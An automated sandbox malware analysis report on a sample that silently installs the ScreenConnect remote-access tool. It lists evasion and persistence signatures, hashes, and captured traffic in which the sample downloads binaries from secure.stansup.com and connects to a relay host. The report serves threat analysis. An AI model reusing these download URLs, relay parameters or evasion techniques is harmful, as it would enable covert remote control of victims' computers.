Windows Analysis Report
Qjq85KfhBC.exe

Overview

General Information

Sample name: Qjq85KfhBC.exe
renamed because original name is a hash value
Original sample name: a43cca6cc162e4b68f0844d507f5300216e6ced88af03fabedc1d053d743064d(1).exe
Analysis ID: 1542315
MD5: fdb2a84ffcb57c0bfbbf0aadb9bad790
SHA1: f3333b1aff0e5cafd2bbb96457165f231d0dc73e
SHA256: a43cca6cc162e4b68f0844d507f5300216e6ced88af03fabedc1d053d743064d
Tags: exesecure-stansup-comuser-JAMESWT_MHT
Infos:

Detection

ScreenConnect Tool
Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Compliance

Score: 33
Range: 0 - 100

Signatures

Multi AV Scanner detection for submitted file
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to hide user accounts
Deletes keys which are related to windows safe boot (disables safe mode boot)
Detected potential unwanted application
Enables network access during safeboot for specific services
Reads the Security eventlog
Reads the System eventlog
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
One or more processes crash
PE file contains an invalid checksum
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Qjq85KfhBC.exe ReversingLabs: Detection: 23%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 92.6% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00911000
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_b50c000fe630258c\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsFileManager.exe Jump to behavior

Compliance
barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_b50c000fe630258c\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsFileManager.exe Jump to behavior
Uses 32bit PE files
Source: Qjq85KfhBC.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Qjq85KfhBC.exe Static PE information: certificate valid
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49725 version: TLS 1.2
Source: Qjq85KfhBC.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD045E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754070448.0000000003192000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: Qjq85KfhBC.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.1751348890.00000000028B2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801490320.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801752921.0000000002371000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbg\ source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0459000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1769348036.000000001C272000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000B.00000000.1746175127.000000000011D000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0459000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1769348036.000000001C272000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb] source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD045E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754070448.0000000003192000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02A8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.1751788668.0000000004F72000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00914A4B FindFirstFileExA, 0_2_00914A4B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior

Networking
barindex
Enables network access during safeboot for specific services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Registry value created: NULL Service
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.10:49732 -> 79.110.49.185:8041
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 79.110.49.185 79.110.49.185
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49725
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49726
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49720
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49727
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49728
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49729
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49719
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.185:443 -> 192.168.2.10:49730
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: secure.stansup.comAccept-Encoding: gzip
Source: global traffic DNS traffic detected: DNS query: secure.stansup.com
Source: global traffic DNS traffic detected: DNS query: kjh231a.zapto.org
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B977000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000008.00000003.1433983414.000001E11B959000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606505484.000001E11BE36000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B977000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1417812360.000001E11B930000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1449639366.000001E11B077000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1417812360.000001E11B929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605566534.000001E11B07A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 00000008.00000003.1455371851.000001E11BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb_
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: dfsvc.exe, 00000001.00000002.2242504544.0000021CEC6EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.c
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000007.00000002.2607269224.000002074AC00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605859392.000001E11B0D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.2240874831.0000021CEA99E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000002.2606460668.000001E11BE13000.00000004.00000020.00020000.00000000.sdmp, 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.8.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: dfsvc.exe, 00000001.00000002.2238360883.0000021CE8AA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f65b439
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2
